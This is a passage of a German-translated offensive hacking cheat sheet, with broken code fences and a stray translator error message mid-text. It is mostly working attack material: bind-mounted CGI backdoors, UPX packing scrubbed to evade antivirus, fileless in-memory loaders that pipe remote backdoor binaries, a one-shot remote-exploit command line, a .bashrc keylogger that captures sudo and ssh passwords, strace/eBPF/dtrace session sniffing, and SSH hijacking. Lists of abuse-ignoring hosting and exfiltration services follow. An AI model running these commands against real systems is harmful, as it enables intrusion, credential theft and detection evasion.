Dies wird /var/www/cgi/blah.cgi auf /boot/backdoor.cgi umleiten. Die Datei blah.cgi kann nicht modifiziert oder entfernt werden (außer sie wird ausgehängt).```sh

/boot/backdoor.cgi contains our backdoor

touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi

root@kitploit:~
<a id="nosudo"></a>
**8.vi. Benutzer ohne sudo/su wechseln**

Benötigt für das Aufnehmen von Screenshots von X11-Sitzungen (z. B. `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` oder `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

8.vii. Payload verschleiern und verschlüsseln

Verwende UPX, um eine ELF-Binary (Beispiel /bin/id) zu packen:```shell BIN="mybin" upx -qqq /bin/id -o "${BIN}"

root@kitploit:~
Bereinigen Sie den [UPX-Header](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) und den zweiten ELF-Header, um den Anti-Virus zu täuschen:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

Optional Signaturen und Spuren von UPX bereinigen:```shell cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$
=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx" mv "${BIN}.tmpupx" "${BIN}" grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.
)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}" perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"

root@kitploit:~
Stelle sicher, dass die Binärdatei nicht entpackt werden kann:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

Optional kann es mit bincrypter verschlüsselt werden.

8.viii. Bereitstellen eines Backdoors, ohne das Dateisystem zu berühren

Starten Sie einen Backdoor, ohne in das Dateisystem zu schreiben, oder wenn alle beschreibbaren Speicherorte mit dem bösen noexec-Flag gemountet sind.

Ein Perl-Einzeiler, um eine Binärdatei in den Speicher zu laden und auszuführen (ohne irgendeine Festplatte, /dev/shm oder /tmp zu berühren). Weitere Informationen finden Sie in Hackshell.```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }

Example usage:

memexec /usr/bin/id -u

cat /usr/bin/id | memexec -u

curl -SsfL https://thc.org/my-backdoor-binary | memexec

root@kitploit:~
Die kürzestmögliche Variante ist (Beispiel):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

(Danke an tmp.Out für einige fachkundige Diskussionen und frühere Arbeiten von anderen)

Bereitstellen von gsocket ohne in das Dateisystem zu schreiben (Beispiel):```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))

root@kitploit:~
Die Backdoor kann auch per SSH direkt in den Speicher des entfernten Systems geleitet und ausgeführt werden:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

Wenn du nur einen einzigen Versuch hast, einen Befehl remote auszuführen (z. B. über einen PHP-Exploit), dann ist das deine Zeile:```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337

root@kitploit:~
---
<a id="crypto"></a>
## 9. Krypto
<a id="gen-password"></a>
**9.i. Schnelles Zufallspasswort generieren**

Gut für schnelle Passwörter ohne menschliches Element.```sh
openssl rand -base64 24

Wenn openssl nicht verfügbar ist, können wir auch head verwenden, um von /dev/urandom zu lesen.```sh head -c 32 < /dev/urandom | xxd -p -c 32

root@kitploit:~
oder machen Sie es alphanumerisch```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

9.ii.a. Linux transportierbare verschlüsselte Dateisysteme - cryptsetup

Erstellen Sie ein 256MB großes verschlüsseltes Dateisystem. Sie werden zur Eingabe eines Passworts aufgefordert.```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec

root@kitploit:~
Mount:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

Daten in /mnt/crypted speichern, dann aushängen:```sh umount /mnt/sec cryptsetup close sec

root@kitploit:~
<a id="encfs"></a>
**9.ii.b. Linux transportierbare verschlüsselte Dateisysteme - EncFS**

Erstellen Sie ```.sec``` und speichern Sie die verschlüsselten Daten in ```.raw```:```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

unmount:```sh fusermount -u .sec

root@kitploit:~
<a id="encrypting-file"></a>
**9.iii Verschlüsseln einer Datei**

Verschlüsseln Sie Ihre 0-Days und Logdateien, bevor Sie sie übertragen - bitte. (und wählen Sie Ihr eigenes Passwort):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

The input chunk is empty — no content was provided to translate. Please supply the chunk text so it can be translated into German.```sh

Decrypt

openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt

root@kitploit:~
---
<a id="sniffing"></a>
## 10. Session-Sniffing und Hijacking
<a id="session-sniffing"></a>
**10.i Sniffen der SHELL-Sitzung eines Benutzers**

Ein Einzeiler für `~/.bashrc`, um die Tastatureingaben des Benutzers zu sniffen und unter `~/.config/.pty/.@*` zu speichern. Nützlich, wenn man kein Root ist und die sudo/ssh/git-Anmeldedaten des Benutzers erfassen muss.

Einsatz: Kopieren Sie Folgendes auf das Zielsystem und befolgen Sie die Anweisungen:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
  • Kombiniert mit zapper, um Befehlsoptionen aus der Prozessliste zu verbergen.
  • Erfordert /usr/bin/script von util-linux >= 2.37 (-I-Flag). Wir beziehen die statische Binärdatei von pkgforge.
  • Erwägen Sie, /dev/tcp/3.13.3.7/1524 als Ausgabedatei zu verwenden, um auf einem entfernten Host zu protokollieren.
  • Melden Sie sich mit ssh -o "SetEnv LC_PTY=1" an, um die Protokollierung zu deaktivieren.

10.ii Alle SHELL-Sitzungen mit dtrace abhören - FreeBSD

Besonders nützlich für Solaris/SunOS und FreeBSD (pfSense). Es verwendet Kernel-Probes, um alle sshd-Prozesse zu verfolgen.

Kopieren Sie dieses „D-Skript“ auf das Zielsystem in eine Datei mit dem Namen d:```c #pragma D option quiet inline string NAME = "sshd"; syscall::write:entry /(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/ { printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }

root@kitploit:~
Starte ein dtrace und protokolliere in /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

10.iii Alle SHELL-Sitzungen mit eBPF abhören - Linux

eBPF erlaubt es uns, sicher über 120.000 Funktionen im Kernel abzufangen. Es ist wie ein besseres "dtrace", aber für Linux.```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt

root@kitploit:~
Schaut euch unsere eigenen [eBPF-Tools zum Abfangen von sudo/su/ssh-Passwörtern](https://github.com/hackerschoice/bpfhacks) an.

<a id="ssh-sniffing-strace"></a>
**10.iv Eine SSH-, Bash- oder SSHD-Sitzung eines Benutzers mit strace mitschneiden**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

Es ist auch möglich, den SSHD-Prozess zu überwachen (erfasst auch sudo-Passwörter usw.). Beachte, dass wir stattdessen den write()-Aufruf verfolgen (weil sshd Daten an die bash 'schreibt'):```sh

Find the sshd PID that spawned the bash:

ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...

root@kitploit:~
Sniff 7770 (Beispiel):```shell
tit write 7770

10.v. Ausgehende SSH-Sitzung eines Benutzers mit einem Wrapper-Skript mitschneiden

Noch dreistere Methode, falls /proc/sys/kernel/yama/ptrace_scope auf 1 gesetzt ist (strace wird bei bereits laufenden SSH-Sitzungen fehlschlagen)

Erstelle ein Wrapper-Skript namens 'ssh', das strace + ssh ausführt, um die Sitzung zu protokollieren:

Wrapper-Skript anzeigen - HIER KLICKEN```sh # Cut & Paste the following into a bash shell: # Add a local path to the PATH variable so our 'ssh' is executed instead of the real ssh: echo 'PATH=~/.local/bin:$PATH #0xFD0E' >>~/.profile

Create a log directory and our own ssh binary

mkdir -p ~/.local/bin ~/.local/logs

cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF

cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF

chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile

echo -e "\033[1;32mSUCCESS. Logfiles stored in ~/.local/.logs/. To uninstall cut & paste this\033[0m:\033[1;36m grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"

root@kitploit:~
(thanks to Gerald for testing this)
</details>

Die SSH-Sitzung wird beim nächsten Mal, wenn der Benutzer sich in seiner Shell anmeldet und SSH verwendet, mitgeschnitten und unter *~/.ssh/logs/* protokolliert.

<a id="ssh-sniffing-sshit"></a>
**10.vi Mitschneiden der ausgehenden SSH-Sitzung eines Benutzers mit SSH-IT**

Der einfachste Weg ist die Verwendung von [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/).```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"

10.vii Hijack / Übernahme einer laufenden SSH-Sitzung

Verwenden Sie https://github.com/nelhage/reptyr, um eine bestehende SSH-Sitzung zu übernehmen:```sh ps ax -o pid,ppid,cmd | grep 'ssh ' ./reptyr -T

Tool herunterladen

or: ./reptyr -T $(pidof -s ssh)

Must use '-T' or otherwise the original user will see that his SSH process gets suspended.

root@kitploit:~
---
<a id="vpn-shell"></a>
## 11. VPN & Shells
<a id="shell"></a>
**11.i. Wegwerf-Root-Server**```console
$ ssh [email protected] # Use password 'segfault'

https://thc.org/segfault

11.ii. VPN/VPS/Proxys

Vertrauenswürdige VPN-Anbieter

  1. https://www.mullvad.net
  2. https://www.cryptostorm.is
  3. https://ivpn.net
  4. https://proton.me - Bietet kostenloses VPN
  5. https://vpn.fail - Von Freiwilligen betrieben

Virtuelle private Server. Bitte offshore.cat prüfen.

  1. https://www.hetzner.com - Günstig
  2. https://hivecloud.pw - Kein KYC. Bulletproof. Akzeptiert Krypto.
  3. https://dmzhost.co - Ignoriert die meisten Abuse-Anfragen
  4. https://alexhost.com - Kein KYC. Bulletproof. DMCA-freie Zone
  5. https://basehost.eu - Ignoriert gerichtliche Anordnungen
  6. https://buyvm.net - Warez' bester Freund
  7. https://serverius.net - Wird von Gangstern genutzt
  8. https://1984.hosting - Datenschutz
  9. https://bithost.io - Wiederverkäufer für DigitalOcean, Linode, Hetzner und Vultr (akzeptiert Krypto)
  10. https://www.privatelayer.com - Schweizer Basis.

Weitere KYC-freie Dienste (.onion)

Proxys (wir nutzen keine davon)

  1. V2Ray Proxies
  2. Hola Proxies
  3. Zaeems kostenlose Proxy-Liste
  4. Proxy Broker 2
  5. proxyscrape.com
  6. my-proxy.com
  7. getfreeproxylists.blogspot.com
  8. proxypedia.org
  9. socks-proxy.net
  10. Segfault: curl -x socks5h://$(PROXY) ipinfo.io - wählt für jede Anfrage einen zufälligen Proxy aus

Viele weitere Dienste (kostenlos)

  1. https://free-for.dev/

12. Informationsbeschaffung

Reverse-DNS aus mehreren öffentlichen Datenbanken:```sh rdns () { curl -m10 -fsSL "https://ip.thc.org/${1:?}?limit=20&f=${2}" }

rdns

root@kitploit:~
Finde Subdomains aus der TLS/THC-IP-Datenbank:```sh
sub() {
    [ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
    curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
    curl -fsSL "https://ip.thc.org/sb/${1:?}"
}
# sub <domain>
OSINT-Hacker-Tools
https://api.c99.nlKostenlos: Subdomain Finder, KOSTENPFLICHTIG: Phone-Lookup, CF Resolver, WAF Detector, IP2Host und mehr... für 25 $/Jahr.
https://osint.shKostenlos. Subdomain Finder, DNS-Verlauf, öffentliche S3-Buckets, Reverse IP, Zertifikatssuche und mehr
https://cli.fyiKostenlos. curl/json-Schnittstelle zu vielen Diensten. Probieren Sie curl cli.fyi/me oder curl cli.fyi/thc.org.
https://check-your-website.server-daten.deKostenlos. TLS/DNS/Sicherheitscheck für eine Domain.
https://ipsniper.info/api.htmlrDNS/fDNS- und andere IP-Informationswerkzeuge
https://ip.thc.orgfDNS/rDNS-Lookup: curl -fL ip.thc.org/140.82.121.3
https://hackertarget.com/ip-tools/Kostenloser OSINT-Dienst (Reverse IP, MTR, Portscan, CMS-Scans, Schwachstellenscans, API-Unterstützung)
https://account.shodan.io/billing/tourOffene-Port-Datenbank & DNS-Lookup aus der ganzen Welt
https://dnsdumpster.com/Domain-Recon-Tool
https://crt.sh/TLS-Zertifikatssuche
https://archive.org/web/Historische Ansicht von Websites
https://www.farsightsecurity.com/solutions/dnsdb/DNS-Suche (nicht kostenlos)
https://wigle.net/WLAN-Netzwerk-Mapper
https://radiocells.org/
OSINT für Ermittler
https://start.me/p/rx6Qj8/nixintel-s-osint-resource-listNixintels OSINT-Ressourcenliste
https://github.com/jivoi/awesome-osintAwesome-OSINT-Liste
https://cipher387.github.io/osint_stuff_tool_collection/OSINT-Werkzeugsammlung
https://osintframework.com/Viele OSINT-Werkzeuge
OSINT-Datenbanken
https://data.ddosecrets.com/Datenbank-Dumps

13. Verschiedenes

13.i. Werkzeuge des Handwerks

Kommunikation

  1. CryptoStorm Email - Wegwerf-E-Mails (senden & empfangen). (Liste von Disposable-email-services).
  2. Temp-Mail - Wegwerf-E-Mail-Dienst mit großartiger Web-GUI. Nur empfangen.
  3. tuta.io oder ProtonMail/.onion - Kostenlose & private E-Mail
  4. Quackr.Io - Wegwerf-SMS/Textnachrichten (Liste von Disposable-SMS-services).
  5. SMS-Man - Anonyme SMS/Text, die mit Signal, WA und vielen anderen funktionieren
  6. Crypton - Mieten Sie eine private SIM/SMS mit Krypto (.onion)
  7. Liste der „No KYC“-Dienste (.onion)

OpSec

  1. OpSec for Rebellions - Hier beginnen. Die einfachsten 3 Schritte.
  2. RiseUp - E-Mail, VPN und Tipps für (Online-)Rebellionen.
  3. CryptoPad/DisRoot - IT-Infrastruktur, um eine Rebellion zu organisieren.
  4. Neko - Firefox in Docker starten und über 127.0.0.1:8080 zugreifen (WebRTC)
  5. x11Docker - Beliebige X11-Apps in einem Container isolieren (nur Linux & Windows). (Artikel)
  6. DangerZone - PDFs sicher machen, bevor man sie öffnet.
  7. ExifTool - Metadaten aus Dateien entfernen (exiftool -all= example.pdf example1.jpg ...)
  8. EFF - Clevere Ratschläge für Freiheitskämpfer.

Exploits

  1. ttyinject und ptyspy für LPE.
  2. SploitScan - Exploit-Score & PoC-Suche (von xaitax)
  3. Traitor - Versucht verschiedene Exploits/Schwachstellen, um Root zu erlangen (LPE)
  4. PacketStorm - Unsere Lieblingsseite, seitdem wir 2000 in NYC eine Pizza mit fringe[at]dtmf.org geteilt haben.
  5. ExploitDB - Enthält auch die Metasploit-DB und die Google-Hacking-DB
  6. Shodan/Exploits - Ähnlich wie exploit-db

Systeminformationen sammeln

  1. curl -fsSL https://thc.org/ws | bash - Alle Domains anzeigen, die auf einem Server gehostet werden + Systeminformationen
  2. https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS - Schnelle Systeminformationen für Hacker.
  3. https://github.com/zMarch/Orc - Post-Exploit-Werkzeug zum Finden lokaler RCE (nach der Installation getexploit eingeben)
  4. https://github.com/The-Z-Labs/linux-exploit-suggester - Schlägt Exploits basierend auf Versionen des Zielsystems vor
  5. https://github.com/efchatz/pandora - Windows: Passwörter aus verschiedenen Passwortmanagern auslesen

Backdoors

  1. https://www.gsocket.io/deploy - Die kleinste Backdoor der Welt
  2. https://github.com/m0nad/Diamorphine - Linux-Kernel-Modul zum Verstecken von Prozessen und Dateien
  3. https://www.kali.org/tools/weevely - PHP-Backdoor

Netzwerkscanner

  1. https://github.com/robertdavidgraham/masscan - Scanne das gesamte Internet
  2. https://github.com/ptrrkssn/pnscan - Schneller Netzwerkscanner
  3. https://zmap.io/ - ZMap & ZGrab

Schwachstellenscanner (Achtung: Diese liefern alle 99 % nicht ausnutzbare Fehlalarme. Sie taugen alle nichts.)

  1. Raccoon - Aufklärung und Informationssammlung
  2. Osmedeus - Schwachstellen- und Informationssammlung
  3. FullHunt - log4j- und spring4shell-Scanner

DDoS

  1. DeepNet - Wir verabscheuen DDoS, aber wenn wir müssten, wäre dies unsere Wahl.

Statische Binaries / vorkompilierte Werkzeuge

  1. https://bin.pkgforge.dev https://pkgs.pkgforge.dev (GitHub, Soar-Projekt)
  2. https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64
  3. https://lolbas-project.github.io/ (Windows)
  4. https://iq.thc.org/cross-compiling-exploits

Phishing

  1. https://github.com/htr-tech/zphisher - Wir hacken nicht so, aber das wäre, was wir verwenden würden.
  2. https://da.gd/ - Noch kleineres TinyUrl und erlaubt https://[email protected]/blah

Werkzeuge

  1. https://github.com/hackerschoice/bincrypter - Verschleiere & verpacke beliebige Linux-Binaries
  2. https://github.com/guitmz/ezuri - Verschleiere Linux-Binaries (nur ELF)
  3. https://tmate.io/ - Teile einen Bildschirm mit anderen

Callback / Canary / Command & Control

  1. https://app.interactsh.com
  2. https://api.telegram.org
  3. https://webhook.site

Tunneling

  1. Gost
  2. WireTap oder Segfaults WireGuard.
  3. ngrok, cloudflared oder pagekite, um einen Server hinter NAT aus dem öffentlichen Internet erreichbar zu machen.

Exfil

  1. Blitz - blitz -l / blitz foo.txt
  2. Segfault.net - exfil eingeben
  3. RedDrop - betreibe deinen eigenen Exfil-Server
  4. Mega
  5. oshiAt - auch im TOR. curl -T foo.txt https://oshi.at
  6. 0x0.at - curl -F'[email protected]' https://0x0.st/
  7. Transfer.sh - curl -T foo.txt https://transfer.sh
  8. LitterBox - curl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.php
  9. Croc - croc send foo.txt / croc anit-price-example
  10. MagicWormhole

Veröffentlichen

  1. kostenlose BT/DC/eD2k-Seedbox
  2. Oder nutze /onion auf segfault.net oder ganz normales HTTPS mit ngrok
  3. Cloudflare - Das Free-Tier erlaubt die meisten Dinge (DNS + Domains + Tunnel).
  4. Njal.la - Datenschutzorientierter Domain-Registrar
  5. DuckDNS - Kostenlose Domainnamen
  6. AnonDNS - Kostenloser Domainname (anonym)
  7. afraid.org - Kostenloses Dynamic DNS für Ihre Domain
  8. hostwinds - Mit Krypto bezahlen
  9. unstoppable domains - Mit Krypto bezahlen
  10. he.net - Kostenloser Nameserver-Dienst
  11. 0bin / paste.ec - Verschlüsseltes PasteBin
  12. pad.riseup.net - Dokumente erstellen und sicher teilen

Foren und Konferenzen

  1. AlligatorCon - das Original
  2. 0x41con
  3. TumpiCon
  4. 0x00sec

Telegram-Kanäle

  1. The Hacker's Choice
  2. The Hacker News
  3. CyberSecurity Technologies
  4. Offensive Twitter
  5. Pwn3rzs
  6. VX-Underground
  7. Android Security / Malware
  8. OSINT CyberDetective
  9. BookZillaaa
  10. Rootkit Researchers

Mindmaps & Wissen

  1. Compass Sec Cheat Sheets
  2. Network Pentesting
  3. Active Directory

13.ii. Coole Linux-Befehle

  1. https://jvns.ca/blog/2022/04/12/a-list-of-new-ish--command-line-tools/
  2. https://github.com/ibraheemdev/modern-unix

13.iii. Tmux-Spickzettel

Tmux-Spickzettel
Maximaler PufferCtrl-b + : + set-option -g history-limit 65535
Scrollback speichernCtrl-b + : + capture-pane -S - gefolgt von Ctrl-b + : + save-buffer filename.txt.
Scrollback ausspionierentmux capture-pane -e -pS- -t 6.0, um Pane 6, Fenster 0 einer laufenden tmux-Sitzung zu erfassen. Entferne -e, um ohne Farbe zu speichern.
Löschentmux send-keys -R C-l \; clear-history -t6.0, um den Bildschirm zu löschen und den Scrollback-Verlauf zu entfernen.
ProtokollierungCtrl-b + : + bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'
Drücke Ctrl-b + Shift + P, um zu starten und zu stoppen.
Verstecktes Tmuxcd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache
Um dich mit deiner Sitzung zu verbinden, führe aus
cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache attach
VerbindenStarte ein neues tmux, tippe dann Ctrl-b + s und verwende LEFT, RIGHT, um eine beliebige Sitzung anzusehen und auszuwählen.
MenüCtrl-b + >. Verwende dann Ctrl-b + UP, DOWN, LEFT oder RIGHT, um zwischen den Panes zu wechseln.

13.iv. Nützliche Befehle

Verwende lsof -Pni oder netstat -putan (oder ss -putan), um alle Internetverbindungen (-tu) aufzulisten.

Verwende ss -lntp, um alle lauschenden (-l) TCP-Sockets (-t) anzuzeigen.

Verwende netstat -rn oder ip route show, um die Standard-Internetroute anzuzeigen.

Verwende curl cheat.sh/tar, um TLDR-Hilfe für tar zu erhalten. Funktioniert mit jedem anderen Linux-Befehl.

Verwende curl -fsSL bench.sh | bash, um die Geschwindigkeit eines Servers zu testen.

Hacking über Verbindungen mit hoher Latenz oder langsamen Verbindungen kann frustrierend sein. Jeder Tastendruck wird einzeln übertragen und jeder Tippfehler wird umso frustrierender und zeitaufwändiger, ihn rückgängig zu machen. rlwrap kommt zur Rettung. Es puffert alle einzelnen Tastendrücke, bis Enter gedrückt wird, und überträgt dann die gesamte Zeile auf einmal. Das macht das Tippen mit hoher Geschwindigkeit und das Korrigieren von Tippfehlern ... viel einfacher.

Beispiel für das Empfangsende eines Reverse-Tunnels:```sh rlwrap --always-readline nc -vnlp 1524

root@kitploit:~
Beispiel für *SSH*:```sh
rlwrap --always-readline ssh user@host

14. Wie man ein Hacker wird

Es gibt viele Wege, aber einer ist:

  1. Nutze Linux und werde sicher im Umgang mit Bash. Lerne alle Linux-Befehle.
  2. Lerne, wie das Internet funktioniert. Installiere und konfiguriere einige Server (über Shell-Zugriff).
  3. Verstehe die Systemarchitektur und wie ein Betriebssystem funktioniert.
  4. Lies jedes Buch. Frag dich selbst: „Warum wird es so gemacht und nicht anders?“.
  5. Lies die Top-10-Artikel von Phrack.
  6. Tritt einem Hacker-Kanal bei. Registriere dich bei TryHackMe oder HackTheBox.
  7. Sei verspielt.

15. Andere Websites

  1. Phineas Fisher - Kein Unsinn. Direkt. So wie wir es mögen.
  2. Hacking HackingTeam - a HackBack - Alt, aber echtes Talent bei der Arbeit.
  3. Guacamaya Hackback
  4. Vx Underground
  5. HTB absolute - Gut geschriebener und erklärter Angriff.
  6. Conti Leak - Windows-Hacking. Pragmatisch.
  7. Red Team Notes
  8. InfoSec CheatSheet
  9. HackTricks
  10. Awesome Red Teaming
  11. Hacking Resources
  12. Awesome Hacking
  13. VulHub - Teste deine Exploits
  14. Qubes-OS - Desktop-OS mit Fokus auf Sicherheit mit XEN-isolierten (entsorgbaren) Gast-VMs (Fedora, Debian, Whonix sofort einsatzbereit)

Shoutz: ADM, subz/#9x, DrWho, spoty Tritt uns auf Telegram bei.

"Buy Me A Coffee"

Informationen zu Mobilfunkmasten
https://www.shodan.io/Suchmaschine zum Finden von Geräten & Bannern (nicht kostenlos)
https://spur.us/context/meIP-Bewertung https://spur.us/context/<IP>
http://drs.whoisxmlapi.comReverse-Whois-Lookup (nicht kostenlos)
https://www.abuseipdb.comIP-Missbrauchsbewertung